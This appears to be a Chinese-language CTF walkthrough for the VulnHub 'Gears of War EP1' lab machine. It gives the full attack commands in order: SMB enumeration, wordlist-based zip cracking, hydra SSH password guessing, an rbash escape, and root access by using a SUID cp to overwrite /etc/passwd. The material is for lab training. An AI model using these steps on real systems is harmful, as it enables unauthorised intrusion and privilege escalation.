
靶机系列测试教程 Gears of War#1

1 简介

2 交流平台

随着教程的推出，看视频的人也越来越多，随之而来的问题也增多，本人平时非常忙，难以有

时间回复大家的问题，特意建立了一个 QQ群，里面有很多这方面的高手，有什么不懂的，请到群

里提问，咨询问题的时候，一定要详细，不然没人会回复你，另外本人有时间会在群内直播测试靶

机，还没加上群的赶快加上了。

交流 QQ群 微信号

博客 www.moonsec.com

2.1靶机介绍

描述 说明

Difficulty 不详

Flag 不详

Description Its a CTF machine that deals with the history of gears of war, where we must try to
escape from prison and obtain root privileges. it has some rabbit holes, so you have
to try to connect the tracks to get access.

下载地址

https://www.vulnhub.com/entry/gears-of-war-ep1,382
难度 不详



3 靶机测试

3.1信息收集

3.1.1 nmap扫描

nmap -sV -sC 192.168.0.171 -oA gearofwar-port

靶机开放

80 web服务

22 ssh
139
445
开放 samba 服务

3.2测试 samba安全

3.2.1 smbmap访问默认共享



smbmap -H 192.168.0.171

发现有两个文件 分别是 msg_horda.zip SOS.txt
共享文件夹 LOCUS_LAN$ 允许读取

3.2.2 递归访问

smbmap -H 192.168.0.171 -R LOCUS_LAN$

3.2.3 smbclient 下载文件

smbclient //192.168.0.171/LOCUS_LAN$



3.3 enum4linux 获取系统用户

enum4linux 192.168.0.171 -R | grep Local

用户

marcus
nobody
root

3.4 zip文件破解

3.4.1 读取 SOS.txt

msg_horda.zip 文件需要密码 所以要用到上面 [@%%,]

3.4.2 crunch生成密码字典

crunch -t的命令如下

-t指定模式

@ 插入小写字母

, 插入大写字母



% 插入数字

^ 插入特殊符号

crunch 4 4 -t @%%, -o words

生成 4位字典文件

3.4.3 fcrackzip破解 zip

fcrackzip -D -v -u -p words msg_horda.zip

输入密码解压文件之后发现有 key.txt

3.5测试 ssh

3.5.1 hydra 破解 ssh密码

3_d4y可能是一个密码



hydra -L user.txt -p 3_d4y ssh://192.168.0.171

3.5.2 登录 ssh

ssh marcus@192.168.0.171

3.6绕过 rbash

输入命令后 发现有限制 估计是 rbash的问题了。绕过即可



ssh marcus@192.168.0.171 -t "bash -noprofile"

3.6.1 特权提升

3.6.2 查找 suid文件

find / -type f -perm -u=s 2>/dev/null



发现 cp 带有 s 即可用 cp命令覆盖文件 列如覆盖/etc/passwd即可获取 root

3.6.3 得到 root权限

查看/etc/passwd



把 passwd文件内容写进 passwd
cat /etc/passwd >/tmp/passwd

本机生成密文

openssl passwd -1 -salt moonsec 123456

vi 写入文件后 复制到目标/etc/passwd 即可

cp passwd /etc/passw



3.6.4 得到.flag.txt

su moonsec 输入密码 123456
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